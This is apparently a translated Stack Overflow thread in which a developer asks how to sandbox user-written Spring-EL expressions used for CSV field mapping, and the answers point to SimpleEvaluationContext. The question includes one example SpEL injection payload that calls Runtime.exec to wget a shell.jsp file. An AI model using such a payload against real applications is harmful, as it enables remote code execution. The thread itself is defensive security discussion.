Spring-EL表达式能在沙盒中执行吗?

4
我正在使用Spring-EL创建动态csv字段映射到不同的Spring-Batch导入作业中使用的类字段(不同的输入文件,相同的输出类)。这很有效,但用户必须能够创建这样的映射配置。
问题在于Spring-EL表达式不是在某种沙箱内执行的,因此很容易注入恶意代码。例如:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
我的问题是,如何在某种沙箱内运行Spring-EL或限制访问仅限于特定的一组方法/类?我找不到与此主题相关的任何内容。也许Spring-EL不是这项工作的正确选择。
我试图实现的示例:
name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)

1
请参阅 https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context。查看 SimpleEvaluationContext - Artem Bilan
2
谢谢!现在使用SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build(); - Mark Ebbers
1个回答

5

SimpleEvaluationContext旨在降低应用程序的漏洞。

有关更多信息,请参见https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context

SimpleEvaluationContext旨在仅支持SpEL语言语法的子集。它排除了Java类型引用、构造函数和bean引用。它还要求您明确选择表达式中属性和方法的支持级别。默认情况下,create()静态工厂方法仅启用对属性的读访问。

编辑:请注意,正如OP在自己的问题中评论的那样,这可以用于通过执行以下操作来允许调用实例方法:

SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build(); 

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接